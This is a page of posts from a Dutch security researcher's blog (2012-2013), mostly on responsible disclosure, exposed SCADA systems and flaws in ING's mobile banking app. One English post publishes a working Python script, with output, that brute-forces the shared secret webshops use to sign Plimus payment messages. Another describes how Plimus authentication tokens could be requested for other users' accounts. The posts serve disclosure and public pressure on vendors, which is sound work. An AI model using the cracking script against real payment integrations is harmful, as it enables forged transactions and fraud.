floort.net

Re: Responsible disclosure richtlijn is onverantwoord risico

2013-01-04T00:43:27Z

Vandaag heeft het Minister Opstelten (Veiligheid en Justitie) een leidraad gepubliceert over het verantwoord melden van beveiligingslekken. Na een periode van veel media-aandacht voor beveiligingslekken en arrestaties van hackers heerst er veel onzekerheid. Hackers durven niet meer bedrijven te helpen en bedrijven reageren vaak in paniek. Ik zou graag zien dat het onderlinge vertrouwen weer hersteld wordt.

Het initiatief van Opstelten is een goede stap vooruit. Door als overheid aan te geven dat je de hulp van hackers goed kan gebruiken en duidelijke richtlijnen te geven voor wat acceptabel is en wat niet verwacht ik dat het vertrouwen tussen overheid en hackers versterkt kan worden. Ik hoop ook dat het bedrijfsleven dit voorbeeld volgt.

Brenno de Winter heeft vanwege dit gebrek aan vertrouwen erg vaak als medium gefungeerd tussen hackers en bedrijven en overheden. Door de bronbescherming die een journalist kan bieden blijven de hackers meestal veilig en anoniem. Brenno heeft hiermee een ontzettend waardevolle dienst verleend aan onze maatschappij. Het zou erg waardevol zijn als beveiligingsproblemen ook aangekaart zouden kunnen worden zonder dat daar een journalist aan te pas hoeft te komen. Daarvoor is echter vertrouwen nodig.

Volgens een recent artikel van Brenno heeft hij geen vertrouwen in dit initiatief. Ik ben veel positiever dan Brenno.

Brenno noemt het feit dat het OM zelfstandig kan besluiten tot vervolging. Als onderbouwing linkt hij naar een tweet van Lodewijk van Zwieten, dé cybercrime Officier van Justitie. Maar Lodewijk van Zwieten geeft ook aan dat Opstelten met het OM gaat praten om hier duidelijke richtlijnen over op te stellen in een andere tweet. Om hier nu al kritiek op te hebben vind ik wel erg vroeg. Als ik zie hoe de leidraad tot stand is gekomen met input van individuele hackers, industrie en overheid heb ik er veel vertrouwen in dat ook bij de gesprekken met het OM alle belangen zorgvuldig afgewogen worden.

Een punt waar ik het eens ben met Brenno is dat soms instellingen een externe motivatie nodig hebben om problemen op te lossen. De kans is echter groot dat instellingen die inzien dat ze voordeel hebben bij een responsible disclosure procedure ook inzien dat ze niet zomaar lekken open kunnen laten staan. Maar wat als een instelling toch besluit om een lek niet te repareren of gewoonweg geen reactie geeft op de melding? Mijn ervaring is dat het heel effectief kan zijn om dan melding te doen bij het NCSC. Een signaal van het NCSC komt heel anders over op een instelling dan een signaal van een onbekende hacker.

Ik zal de ontwikkelingen rond responsible disclosure aandachtig blijven volgen en ik heb veel vertrouwen in de manier waarop het NCSC dit aanpakt.

Een goed gesprek

2012-11-19T13:37:42Z

Zoals verschenen op Alert Online.

Het is 4 uur en het rapport waar je zo lang aan hebt zitten werken is bijna af. Je moet het alleen nog even langs je collega sturen zodat hij nog een laatste keer alles kan doorlezen om de laatste foutjes er uit te halen. Je maakt een nieuw mailtje aan, voegt het rapport als bijlage toe en klikt op verzenden. Tijd voor een kopje koffie.

Je pakt 2 kopjes koffie en loopt naar het kantoor van je collega om alles samen door te nemen. Daar aangekomen blijkt hij niks te hebben ontvangen. Terug bij je eigen computer blijkt waarom; bovenaan je inbox staat een nieuw bericht: "550 5.7.1 Message rejected due to unacceptable attachments". De IT-afdeling heeft .zip-attachments geblokkeerd uit veiligheidsoverwegingen, maar als je het rapport niet zipt kun je het ook niet mailen omdat het dan te groot is. Je collega weet wel een oplossing: een website waarmee je grote bestanden kan versturen. Hij gebruikt het ook altijd voor de vakantiefoto's. Je maakt snel een account aan, uploadt het rapport en stuurt de linkt naar je collega. Het is nu al bijna vijf uur, dus je collega belooft er thuis even naar te kijken zodat het direct de volgende ochtend verzonden kan worden. Een paar dagen later lees je op Webwereld.nl dat je rapport is gelekt. De schade valt mee; er stond weinig schokkende informatie in het rapport en de meeste mensen zullen het na een week of twee weer vergeten zijn. Je vraagt je af hoelang het zal duren voordat je collega's het vergeten zijn en bedenkt je dat je geluk hebt gehad: de meeste rapporten waar je aan werkt bevatten veel gevoeligere informatie.

Achteraf is gebleken dat de website die je gebruikt hebt om het rapport te versturen bedoeld is om publiekelijk bestanden te delen. Voor de vakantiefoto's van je collega is dat niet erg en je had door je haast er niet aan gedacht om je af te vragen wat die website precies zou doen met je rapport. In dit fictieve voorbeeld hadden de problemen voorkomen kunnen worden als bekend was dat er behoefte was aan het uitwisselen van grotere bestanden. Er had had waarschijnlijk makkelijk een gedeelde netwerkschijf opgezet kunnen worden of de beperkingen aan bijlages in emails hadden versoepeld kunnen worden. Maar waarschijnlijk was deze behoefte niet bekend.

Mensen zijn goed in het vinden van beveiligingslekken. Niet alleen hackers die bewust op zoek zijn, maar ook gewone werknemers die zonder kwade bedoelingen kleine ergernissen proberen op te lossen om hun werk beter te kunnen doen. In beide gevallen kan je als organisatie technische maatregels nemen, maar als je echt wilt leren zal je de dialoog moeten opzoeken. Organisaties kunnen veel leren door met hackers te praten die lekken in hun systemen vinden. Maar ook binnen de organisatie zelf valt er veel te leren door beter te luisteren naar de mensen die de zelf oplossingen bedenken zoals in dit voorbeeld.

Dus als je je straks nog steeds afvraagt hoe je kan bijdragen aan een betere cybersecurity heb ik een heel simpel antwoord; de volgende keer dat je koffie gaat drinken of gaat lunchen loop je even langs de IT-afdeling. Ook als er iemand van buiten komt om problemen met beveiliging te melden; nodig diegene uit voor een kop koffie en een goed gesprek. Je kan zo nog een hoop van elkaar leren.

Responsible disclosure beleid; een vergelijking

2012-10-29T00:00:00Z

Op maandag 29 oktober komt ICT~Office met het bericht dat telecomproviders in Nederland met een responsible disclosure beleid komen. Dat vind ik een erg goede ontwikkeling, maar dat is geen reden om niet kritisch te zijn. In deze blogpost vergelijk ik het responsible disclosure beleid van deze telecombedrijven en leg ik voor elk punt uit waarom dat belangrijk is.

Deze pagina zal voorlopig regelmatig updates krijgen. Zowel inhoudelijk als voor het aanvullen van ontbrekende bedrijven.

	KPN	T-Mobile	Tele2	UPC	Vodafone	Ziggo
Beschikbaar	X	X	X	X	X	X
Begrijpelijk	X	X	X	X	X	X
Terugkoppeling	X	~	~	~	X	X
Gedragscode	X	X	X	X	X	X
Beloning	~
Credits			X		X
Publicatie	X	X	X		X	X
Veilig	X	X
Anoniem		X	X	X	X
Aansprakelijkheid		X	X	X	X	X

Legenda: X: OK, ~: Matig, blanco: niet aanwezig of slecht

Beschikbaar

Het lijkt misshien flauw om deze te beoordelen, maar daar zijn twee redenen voor. Om te beginnen zijn niet alle responsible disclosure programma's al online beschikbaar. Zodra ze beschikbaar komen zal ik ze aanvinken en beoordelen op de andere criteria. Maar het zou ook kunnen dat een bedrijf wel een responsible disclosure procedure heeft, maar deze niet publiek toegankelijk geeft gemaakt. Als vinder van een lek moet het melden zo laagdrempelig mogelijk zijn en een verborgen uitleg van de procedure is een onnodig obstakel.

Begrijpelijk

Hackers zijn geen juristen. De tekst moet kort en begrijpelijk zijn.

Terugkoppeling

Het is erg demotiverend als je een lek meld en vervolgens geen reactie krijgt. Je weet niet of het bericht niet aangekomen is, of dat er besloten is om het lek niet te dichten. Daarom is het erg belangrijk om aan te geven binnen hoeveel tijd een melder een reactie zal krijgen en welke informatie teruggekoppeld zal worden (en welke niet).

Gedragscode

Voor een bedrijf kan het eng zijn om je kwetsbaar op te stellen. Maar als je een responsible disclosure procedure hebt kan je dat ook juist gebruiken om duidelijke grenzen te stellen. Wat zie je als acceptabel gedrag, maar vooral ook wat niet? Je zou er bijvoorbeeld voor kunnen kiezen om bepaalde klassen kwetsbaarheden (zoals bijvoorbeeld een DDoS aanval) niet te accepteren bij als een verantwoorde melding.

Beloning

Hackers die lekken melden verlenen een gratis, maar waardevolle dienst. Er is ook geen enkele verplichting om te melden volgens het proces zoals het bedrijf het aangegeven heeft. Om toch een motivatie te geven om net even de extra moeite te nemen kan het verstandig zijn om een beloning aan te bieden. Dat hoeft geen geldbedrag te zijn (mag wel!), maar ludieke kado's doen het ook goed. Denk bijvoorbeeld aan een tshirt met de tekst "I hacked $bedrijfsnaam and all I got is this lousy tshirt!". Voor de interne organisatie geeft dit ook een duidelijk signaal dat meldingen erg gewaardeerd worden en het zal werknemers motiveren om meldingen goed op te pakken.

Credits

Naast een materiele beloning is publieke waardering erg waardevol voor veel hackers. Geef daarom in alle publicaties over de lek een eervolle vermelding voor de melder als diegene dat wilt.

Publicatie

De kern van responsible disclosure is het verantwoordelijk publiceren van beveiligingslekken. De publicatie staat voorop zodat klanten gewaarschuwd worden en de maatschappij kan leren van de fouten.Het is daarom ook heel belangrijk om duidelijkheid te geven over de publicatie. Ga er vanuit dat de lek gepubliceerd zal worden en beperk je tot het aangeven van de kaders (zoals het afspreken van een zo kort mogelijk periode van geheimhouding om de lek te dichten.).

Veilig

Als bedrijf zou ik niet willen dat informatie over kwetsbaarheden in mijn systemen onbeveiligd verstuurd zou worden. Het is dan ook aan te raden om in ieder geval een set pgp sleutels beschikbaar te hebben waarmee meldingen versleuteld verstuurd kunnen worden.

Anoniem

Sommige mensen hechten erg veel waarde aan hun privacy. Geeft deze mensen de kans om anoniem lekken te kunnen melden.

Aansprakelijkheid

Het melden van een beveiligingslek kan risicovol zijn voor de melden. Soms kan er een wet zijn overtreden bij het ontdekken van een lek, vaak kan er onduidelijkheid over bestaan. Het is daarom voor de melders heel waardevol om een toezegging te hebben dat ze niet vervolgt zullen worden zolang ze zich netjes aan de voorwaarden houden.

Hacker dilemma

2012-10-04T00:00:00Z

Met enige regelmaat beland ik in een discussie waarin ik probeer uit te leggen dat er gevallen zijn waarin hacken wel illegaal is, maar niet meteen onethisch. Dat kunnen hele leuke filosofische discussies zijn, maar het kan heel verhelderend zijn om jezelf daadwerkelijk in zo'n dilemma te plaatsen. Dat is dus precies wat ik gedaan heb. Ik heb bewust de naam van de leverancier weggelaten.

Op Twitter lees ik de tweets van @ntisec met veel plezier. Een van de zaken die af en toe langskomen zijn slecht beveiligde SCADA-systemen. Wat mij opviel is dat 1 bepaald merk wel heel vaak langskomt. Ik heb voor veel van deze systemen nu al best vaak contact proberen op te nemen met het bedrijf dat de eigenaar is of het bedrijf dat ze geïnstalleerd heeft. Opvallend vaak hebben deze machines nog het wachtwoord staan op de fabrieksinstelling. Dit wachtwoord is voor alle apparaten van deze fabrikant hetzelfde en is te vinden in de handleidingen die online te vinden zijn.

Erg vaak krijg ik geen reactie van degene met wie ik contact opneem. Dat betekent dat het mij relatief veel tijd kost om de eigenaar te achterhalen en het probleem uit te leggen, maar dat dit bijna geen effect heeft. Op een gegeven moment werden het er zoveel dat ik besloot dat ik het anders moest aanpakken. Ik doe het eerste wat er in mij opkomt als ik een vervelend probleem tegenkom: ik schrijf een programma om het voor me op te lossen.

Wat ik gedaan heb is een programma geschreven dat snel het hele Nederlandse internet (dat is voorlopig genoeg) kan scannen en mij een lijst met alle adressen teruggeeft die een systeem van de betreffende fabrikant hebben aangesloten op het internet en bij welke daarvan je nog met het standaard wachtwoord in kan loggen. Dan heb ik een mooi rapport om te laten zien hoe groot het probleem is en kan ik misschien met een beetje publiciteit of via het NCSC het hele probleem in 1 keer oplossen.

De scanner is geschreven, nu is het dus gewoon een kwestie van de scan uitvoeren, het rapportje uitdraaien en het probleem is opgelost toch? Helaas niet, het daadwerkelijk uitvoeren van de scan is strafbaar. Om nauwkeuriger te zijn: door het uitvoeren van de test of het standaard wachtwoord bruikbaar is zou ik computervredebreuk plegen. In totaal zou ik dus miljoenen keren computervredebreuk plegen.

Ik help graag met het oplossen van problemen, zelfs als ik er zelf niet meteen wat aan heb. Het plegen van een veelvoud van strafbare feiten voor iets waar ik zelf niets aan heb is echter niet iets wat ik zomaar zal doen.

Aan de ene kant kan ik dus met weinig moeite zorgvuldig een flink aantal bedrijven veiliger maken met een laag risico dat ik zelf schade aanricht. Aan de andere kant heb ik niet zo'n zin in problemen met justitie. Het makkelijkst zou zijn om helemaal niks te doen; de veiligheid van die systemen is niet mijn verantwoordelijkheid en de wet overtreden is ook niet goed. Dit is ook het advies dat ik van de meeste mensen krijg. Dat vind ik echter te makkelijk; als ik mensen kan helpen vind ik het niet ethisch om daar mijn handen van af te trekken.

Wat zouden jullie doen?

Update: Behalve dat ze een streng en behulpzaam rode taalkundige pen hanteert maakt ze ook kick-ass tekeningen. http://www.neetje.nl/

Ongevraagd advies aan de ING

2012-06-14T00:00:00Z

Op 13 juni 2012 komt Webwereld met een bericht dat een hacker een bankgegevens van een miljoen klanten van de ING gestolen zou hebben. Dit blijkt een grote fout geweest te zijn van het ANP waar ik de oorzaak nog niet van weet. Dat is heel lullig voor de ING en de ING komt snel met een persbericht om dit recht te zetten. Toch denk ik dat de ING veel fout heeft gedaan.

De situatie, voor zover die publiekelijk bekend is, is als volgt: Iemand waarvan bekend is dat hij in het verleden veelvuldig fraude heeft gepleegd heeft klantgegevens van de ING verzameld.

Met alleen deze informatie is het voor mij heel duidelijk wat de ING als eerste hoort te doen: De getroffen mensen op de hoogte stellen.

Als ik verantwoordelijk zou zijn voor de voorlichting bij de ING zou ik als eerste een email naar de 1280 getroffen klanten sturen.

Geachte klant van de ING,

Op 13 juni berichtten de media dat een hacker 1 miljoen klantgegevens van de ING heeft gestolen. Dit is onjuist. De systemen van ING zijn niet gehackt. Iemand heeft van 1280 klanten van de ING het rekeningnummer en naam achterhaald. Deze gegevens zijn niet direct te misbruiken. U bent een van de getroffen klanten en wij willen u zo goed mogelijk informeren over wat er met uw gegevens is gebeurd.

De persoon die die deze informatie heeft achterhaald zit momenteel vast op verdenking van fraude. Er is geen aanwijzing gevonden dat gegevens van de ING misbruikt zijn, maar we werken samen met justitie om alle eventuele misbruik op te sporen.

Omdat het aannemelijk is dat de gegevens verzameld zijn met als doel fraude te plegen vragen wij u de komende tijd extra oplettend te zijn. Als u iets verdachts opmerkt in uw bankafschriften, phishing mails of op een andere plek vragen wij u direct contact op te nemen met de ING zodat wij direct actie kunnen ondernemen om misbruik van uw gegevens op te sporen en tegen te houden.

Zodra meer bekend is over deze zaak zullen we u direct op de hoogte stellen.

Onze excuses voor de overlast.

ING Nederland

Pas daarna zou ik een persbericht uitsturen om uit te leggen dat de berichtgeving in de media onjuist is. De vermelding dat klanten geen risico lopen vind ik kwalijk. Hoe meer accurate gegevens over klanten bekend zijn hoe effectiever phishing campagnes zullen zijn. De gegevens zijn overduidelijk verzameld door iemand met als doel om er misbruik mee te plegen de mededeling dat ze niet misbruikt kunnen worden is wat mij betreft volkomen ongeloofwaardig.

Laat zien dat jullie meer kunnen dan alleen reageren op foutieve berichtgeving en laat zien dat jullie echt geloven dat jullie alle zaken op orde hebben door jezelf een beetje kwetsbaar op te stellen en voor de klanten op te komen. Ik weet zeker dat ik zo'n opstelling heel erg zou waarderen!

Update: De ING zegt geen gegevens verstrekt te hebben aan de "hacker". Maar wat de ING doet voldoet aan de definitie van "verstrekken van persoonsgegevens" (Wbp art. 1). En volgens art. 35.2 hebben degenen van wie gegevens zijn verstrekt het recht om te weten dat hun gegevens verstrekt zijn aan deze persoon.

Drie keer kloppen?

2012-03-21T00:00:00Z

Wie kent het nog: De "Drie keer kloppen"-campagne van Nederlandse Vereniging van Banken (NVB) om klanten bewust te maken van beveiliging bij internetbankieren? In tv-spotjes, websites en tijdschriften werden mensen bewust gemaakt van het feit dat ze zelf deels verantwoordelijk zijn voor de veiligheid van hun online bankverkeer. Daarbij werden drie punten gegeven die je als gebruiker moest controleren of ze wel kloppen. Als eerste moet je de beveiliging van je computer nalopen: heb je alle updates geïnstalleerd, heb je antivirus, etc.? Als tweede moet de website kloppen. Wat hiermee bedoeld werd was dat je moest kijken of je op de juiste website zit (kijk naar de url) en of je het slotje in je url balk ziet (als je HTTPS gebruikt). Dit is om phishing en man in the middle (mitm) aanvallen tegen te gaan. Als derde moet je regelmatig je rekeningafschriften controleren zodat je, als het dan toch misgaat, zo snel mogelijk fraude opmerkt en maatregels kan nemen.

Natuurlijk zijn deze drie punten niet genoeg om alle vormen van fraude tegen te gaan, maar de campagne was effectief. Mensen zijn bewuster geworden van de risico's en ik twijfel er niet aan dat het criminelen een stuk moeilijker gemaakt is om fraude te plegen. We zijn nu een paar jaar verder en bijna iedereen gebruikt nu het internet voor bankzaken. Maar er is nog meer veranderd: smartphones. Bijna iedereen heeft tegenwoordig wel een iPhone, Android-telefoon, tablet of een ander mobiel apparaat. De meeste mensen willen hier ook op kunnen bankieren en ik maak me daar zorgen over.

Veel mensen hebben veel meer vertrouwen in hun telefoon dan in hun Windows PC. Op je Windows PC kan je harde schijf crashen, je hebt last van virussen, rare foutmeldingen die niemand begrijpt en bovendien verschuilen zich allerlei hackers op het internet die niets dan nare bedoelingen hebben. Telefoons zijn anders. Die draag je altijd bij je, ze werken bijna altijd en bijna al je persoonlijke communicatie verloopt via je telefoon in de vorm van Twitter, Facebook, WhatsApp of gewoon ouderwetse telefoongesprekken. Telefoons zijn persoonlijk en vertrouwd.

Ook de ING lijkt telefoons als vertrouwde apparaten te behandelen zoals ik in een vorige blogpost uitgelegd heb. Na die blogpost ben ik gebeld door iemand van de ING met de uitnodiging om zo snel mogelijk langs te komen om te praten over wat ik gevonden had. Naar mijn mening is de ING zelf twee punten van de "drie keer kloppen"-campagne vergeten.

Als eerste de beveiliging van mobiele telefoons. De meeste telefoons krijgen al lange tijd geen beveiligingsupdates meer. Dat betekent dat er veel mensen rondlopen met smartphones die vatbaar zijn voor allerlei aanvallen zonder dat de eindgebruiker hier iets aan kan doen behalve met enige regelmaat een nieuwe telefoon kopen die wel redelijk recente software heeft. En mobiele antivirus kan je in de praktijk al helemaal niet op vertrouwen. Toch hebben veel banken besloten om actief mobiel bankieren te promoten.

Het tweede punt is misschien nog wel ernstiger. Klanten werden bedolven onder campagnes om "het slotje" te controleren. Als je dat slotje in je browser ziet weet je dat een bedrijf (zoals Diginotar) een digitale handtekening heeft gezet onder een certificaat van de website die je bezoek. Als ik bijvoorbeeld het slotje zie op de site https://mijn.ing.nl/ dan weet ik twee dingen:

Een bedrijf (Verisign in dit geval) beweert dat het echt de ING is waarmee ik praat.
Zolang beide bedrijven zelf hun beveiliging goed op orde hebben kan niemand afluisteren wat ik op die website doe en kan niemand stiekem tussen mij en de ING gaan zitten om data ongemerkt aan te passen (een mitm-aanval)

In mijn onderzoek naar de ING-applicatie voor Android heb ik ontdekt dat het niet alleen mogelijk is, maar zelfs makkelijk om toch een mitm-aanval te doen. Dat komt omdat de applicatie zelf niet goed de controle uitvoert die de klanten wel zouden moeten doen. Nadat ik de ING dit verteld heb hebben ze een nieuwe versie van de applicatie uitgebracht die hier wel tegen bestand is. Bovendien heeft de ING nu oude versies van de applicatie geblokkeerd zodat die ook niet meer misbruikt kunnen worden.

Wat ik ook kwalijk vind is dat de ING hier niet eerlijk over is naar haar klanten. Ik vind dat klanten het recht hebben om te weten wat voor risico ze lopen, maar in de release notes vermeldt de ING niet dat er beveiligingslekken zijn gevonden in oudere versies. Ook krijg ik geen credits voor het vinden en verantwoordelijk melden van de lekken. Ondanks dat de gesprekken met de ING vriendelijk zijn verlopen heb ik toch het idee dat ik de volgende keer meer terughoudend moet zijn met het delen van informatie. Dat vind ik jammer, want volgens mij is het in het voordeel van de ING om te bevorderen dat mensen dit soort informatie makkelijk met ze delen.

Het actualiteitenprogramma EenVandaag heeft over mijn onderzoek een uitzending gemaakt.
Your browser doesn't support HTML5 video. P.S.
Bij mijn onderzoek hoort ook een paper in het Engels die niet meer helemaal up-to-date is en vooral nog veel taalfouten bevat. Ik zal deze ook zo spoedig mogelijk online zetten.

Authentication tokens gone wrong

2012-03-09T00:00:00Z

Here is another blog about Plimus. It seems like they don't want to communicate or fix security issues instead they continue building new features. It's a shame that a company that handles money as a primary buisiness doesn't have security as a top priority. This blogpost is about a feature that I have warned Plimus about, but haven't been able to test because a Plimus employee actively refused to give me access to this feature, even after the engineer in charge for security asked me explicitly to test and report more security problems. So keep this in mind when you read this blog: I have not tried to exploit this.
The feature I want to talk about is a feature that webshops can use to streamline the payment experience for customers. When a user uses Plimus to pay in a webshop, the user is redirected to Plimus and has to login and fill in some payment information. To make it easier for customers the webshop can now offer an authentication token when the customer is redirected. The user is now logged in automatically.

This process works as following[1]:

A webshop has the Plimus accountid for customers it has seen before because a payment IPN contains the accountid. This accountid is an integer that's probably sequential.
The webshop takes the accountid and requests an authentication token with Plimus that's valid for a given amount of time. This request is done by a HTTP GET request to the following url https://ws.plimus.com/services/2/tools/auth-token?shopperId=[accountId]&expirationInMinutes=[desired time]
The webshop receives an authentication token as a result of the above request.
When the webshop redirects the user, the webshop uses the authentication token in the redirect url like this: http://www.plimus.com/jsp/entrance.jsp?contractId=[contractId]&target=[desired process step]&token=[authentication token]
The user is now logged in to Plimus and can finish the payment process without logging into Plimus

Why is this dangerous?

The webshop is given full access to the Plimus account of all paying customers.
The user is not notified of this fact.
Because an accountId is a sequential integer I strongly suspect that it's possible to enumerate them all and get authentication tokens for all Plimus users.

Just fix your stuff Plimus. And don't invent your own cryptographic protocols. You don't even know what "hexadecimal" means.

[1]http://home.plimus.com/ecommerce/developers/featured-solution

Howto crack Plimus "MD5hex encryption"

2012-02-24T15:28:00Z

It's been a while since I have reported a few security bugs to Plimus. It took a few blogposts explaining the issues publicly before I got in contact with an engineer. I understand that making backwards incompatible changes to your customer facing API's is not a trivial task, however the way Plimus handles these issues is just terrible.

One engineer asks me for more feedback while in the same mail thread another Plimus employee demands proof I'm PCI certified and wants to know what applications I'm going to build before I get access to the test API of Plimus. If you don't even let me test security bugs before I report them you won't get the bugreport at all. Maybe I can test them after you have gone live and customers already depend on the API.

The first actual promised date for a simple fix passed five days ago. Since then I have gotten no response. They even refused to acknowledge in advance what exactly they where going to fix.

For your enjoyment I have written proof of concept code that you can use to crack the shared secret between Plimus and a webshop. This secret is the only security with which transactions between a webshop and Plimus are signed and authenticated. Have fun!

Once you have the reply a webshop gives to a Plimus IPN (in this example "8c083afc16dfe31e5d92a6358f33297d"), you can recover the key like this:


$ python crack_plimus_hmac.py 8c083afc16dfe31e5d92a6358f33297d

Trying length 1

Trying length 2

Trying length 3

Trying length 4

Data Protection Key: SCRT

And the sourcecode:

#!/usr/bin/env python

CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
MAXLENGTH = 4

import sys
from md5 import md5
from itertools import product

target = sys.argv[1]

for length in range(1, MAXLENGTH+1):
    print "Trying length", length
    for password in product(CHARSET, repeat=length):
        if target == md5("OK"+"".join(password)).hexdigest():
            print "Data Protection Key:", "".join(password)
            sys.exit()

SCADA

2012-01-31T20:03:00Z

Iedereen die een beetje handig is met computers en al wat jaartjes meeloopt op het internet kent ze wel: default wachtwoorden op routers. Als je op een netwerk zit en je met je webbrowser naar het IP-adres van de router surft (meestal http://192.168.1.1/ ) kom je op de beheerpagina van je router. Soms hoef je niet in te loggen; meestal volstaat een standaard login (username=admin password=admin). Dat is natuurlijk erg grappig; je kan ongevraagd met de instellingen rommelen van de mensen waar je op bezoek bent. De iets slimmere nerds hadden in de gaten dat veel routers ook te bereiken waren via het internet, ook vaak met standaard wachtwoorden beveiligd. Dat maakt het al leuker: je kan opeens vanuit je luie stoel met heel veel internetverbindingen spelen. Dat is nog eens kattekwaad! Maar waarom doet niemand hier wat aan? De meeste mensen zetten een router neer, pluggen met veel moeite de stekkers erin. Als alles werkt zijn ze al lang blij. Ze beseffen zich niet dat er nog allemaal ingewikkelde instellingen veranderd kunnen worden en dat die beveiligd moeten worden met een wachtwoord.

De afgelopen jaren is de industrie ook steeds meer gedigitaliseerd. Waar je vroeger nog aan zware hendels moest draaien kan je nu met een paar klikken op een computer je machines bedienen. Je sluit een kastje aan op de machines in je fabriek en de computer vertelt je hoe hoog de oliedruk is, of hoe heet de oven is. Met een paar muisklikken kan je ook kleppen dichtzetten, de temperatuur opschroeven, etcetera. Zo'n kastje heet een SCADA-systeem. SCADA staat voor Supervisory Control And Data Aquisition. Fabrieken zijn ingewikkeld, dus als alle machines zijn aangesloten op het SCADA-systeem ga je niet meer de instellingen veranderen. Net als je router thuis eigenlijk. Nu hebben veel SCADA-systemen nog meer overeenkomsten met routers: ze hangen aan het internet. Dat is makkelijk als een technicus op afstand wil controleren of alles in orde is met de fabriek. Wat blijkt nu? Om de vergelijking met routers helemaal af te maken - veel SCADA-systemen zijn ook slechts beveiligd met standaard wachtwoorden zoals de bekende admin/admin-combinatie.

Dat betekent dat er controlesystemen van kritieke infrastructuur en fabrieken potentieel door iedereen met een computer te bedienen zijn. Alsof iedere 15-jarige de fabriek in kan lopen en alle knopjes kan indrukken en alle hendels kan overhalen.

Hacker @ntisec vond het genoeg en heeft besloten om een overzicht te maken van lekke SCADA-systemen om aandacht voor het probleem te vragen. Dit heeft Joost Schellevis van de website tweakers.net opgepikt in zijn artikel. Daarnaast heeft Wassila Hachchi van D66 vandaag schriftelijke kamervragen gesteld over dit onderwerp. Ik hoop dat hier de vergelijking met routers ophoudt; hiervan zijn er na al die jaren nog een hoop onbeveiligd te vinden op het internet.

Hier zijn de kamervragen:

Schriftelijke vragen van de leden Hachchi en Schouw (beiden D66) aan de minister van Binnenlandse Zaken en de minister van Veiligheid en Justitie over de risico's van software voor het op afstand besturen van industri�le processen.

1. Hebt u kennisgenomen van het artikel, Scada-beveiliging een structureel probleem, van 30 januari 2012, door Joost Schellevis op www.tweakers.net? (http://tweakers.net/reviews/2465/all/scada-beveiliging-een-structureel-probleem.html)

2. Onderschrijft u de stelling van de schrijver dat, anders dan in het Cybersecuritybeeld Nederland 2011 wordt gesuggereerd, het niet nodig is om over uitzonderlijk geavanceerde software te beschikken om een aanval op een beheerssysteem van bijvoorbeeld een riolering te laten slagen?

3. Welke veiligheidseisen worden er gesteld aan Scada-systemen, zowel bij de overheid als in de commerci�le sector? Hoe wordt hier toezicht op gehouden? Indien er toezicht gehouden wordt, wat is dan het beeld dat toezichthouders hebben van de veiligheid van de systemen?

4. Onderschrijft u de waarschuwing voor het gevaar van USB-sticks? Kunnen in cruciale industri�le infrastructuren, zoals de kerncentrale van Borssele, datadragers van buitenaf, zoals usb sticks, vrij ingevoerd worden? Of bestaan hier beveiligingsprotocollen voor?

5. Hoe beoordeelt u de veiligheidsrisico's van Scada-systemen die rechtstreeks op het internet zijn aangesloten?

6. Is er op Europees niveau aandacht voor de veiligheidsrisico's van Scada-systemen? Zo ja, welke activiteiten worden er op dit gebied ontplooid? Zo nee, bent u bereid hier aandacht voor te vragen?

Update:
De offici�le plek voor de kamervragen is hier: https://zoek.officielebekendmakingen.nl/kv-151345.html
Er zijn ook een hoop taalfouten verbeterd (dank aan @neetje)

Verantwoordelijkheid voor beveiliging

2012-01-15T15:13:00Z

Een tijdje geleden is mij de mobiele applicatie voor internetbankieren van de ING opgevallen. Door de combinatie van de gevoeligheid van mobiele platforms (In dit geval Android, maar het issue is niet Android specifiek.) en het ontbreken van TAN-codes als tweede factor voor de authenticatie zag ik een aanvalsvector waarvoor ik niet zag hoe daar tegen verdedigd zou worden. De lek zou ernstig zijn omdat er zonder je medeweten saldo van je rekening afgeschreven zou kunnen worden en dat op grote schaal bij gebruikers van deze mobiele app. In mijn onderzoek heb ik delen van de app reverse engineered en veel geleerd over de communicatie van de applicatie met de ING servers. Op een gegeven moment ben ik me gaan realiseren dat als ik daadwerkelijk de zwakte overtuigend wilde demonstreren ik de wet zou moeten overtreden. Dat gaat mij een stap te ver. Door mijn onderzoek heb ik ook wat geleerd over de afwegingen die de ING heeft gemaakt en wat ik van de ING wil is dat ze duidelijk communiceren wie verantwoordelijk is als er iets misgaat.

Het technische verhaal kan ik zonder moeilijke details te gebruiken uitleggen. Het ouderwetse internetbankieren bij de ING werkt via de browser. Als je een virus op je computer zou hebben, zou dat virus betalingen kunnen aanpassen, wachtwoorden afluisteren, etc. Om dat te voorkomen zijn TAN-codes bedacht. Op het moment dat je een betaling uitvoert krijg je een smsje met details over de betaling die je op dat moment wilt doen met een eenmalig te gebruiken TAN-code. Die code moet je vervolgens invoeren om de betaling af te ronden. Daarmee bewijs je dat je niet alleen kan inloggen onder de account van de bezitter van de rekening, maar dat je ook controle hebt over zijn of haar telefoon. Omdat telefoons meestal onafhankelijk zijn van de desktop computers van een persoon maak je de drempel om in te breken in de bankrekening dusdanig veel hoger dat deze vorm van beveiliging erg effectief is. Tot zover lijkt alles in orde.

De komst van moderne smartphones verandert echter een hoop. Mensen willen alles kunnen met hun smartphone en banken zijn bijna gedwongen om ook mobiele betalingen mogelijk te maken. Logisch, want het is erg handig om overal toegang te hebben tot je bankrekening. Het probleem komt echter als je het oude security model gaat vertalen naar mobiele telefoons. Stel dat ik wil internetbankieren op mijn mobiele telefoon krijg ik opeens de TAN codes binnen op hetzelfde apparaat als waarmee ik de transacties afhandel. Het voordeel van TAN-codes is daarmee volledig verdwenen. De ING heeft dit beseft en heeft dan ook het gebruik van TAN-codes afgeschaft voor de mobiele variant van het internetbankieren. Om misbruik bij diefstal en verlies van de telefoon te voorkomen is er een pincode nodig om de applicatie te ontgrendelen. Dat is gezien het scenario een redelijke beveiliging. Maar wat als je een virus zou hebben op je telefoon? Het virus zou dan de applicatie aan kunnen passen om alle betalingen aan te passen zodat bijvoorbeeld het geld naar de rekening van de schrijver van het virus gaat. Of het virus kan zorgen dat er op de achtergrond kleine betalingen gedaan worden die niet opgemerkt worden door de rekeninghouder. Het grootste obstakel is het virus op de telefoons krijgen. In deze blogpost zal ik volstaan met de melding dat bijna geen enkele Android telefoon langdurig beveiligingsupdates krijgt, er geen effectieve antivirus is en mensen zich vaak niet beseffen dat er iets fout kan gaan aan de beveiliging van mobiele telefoons.

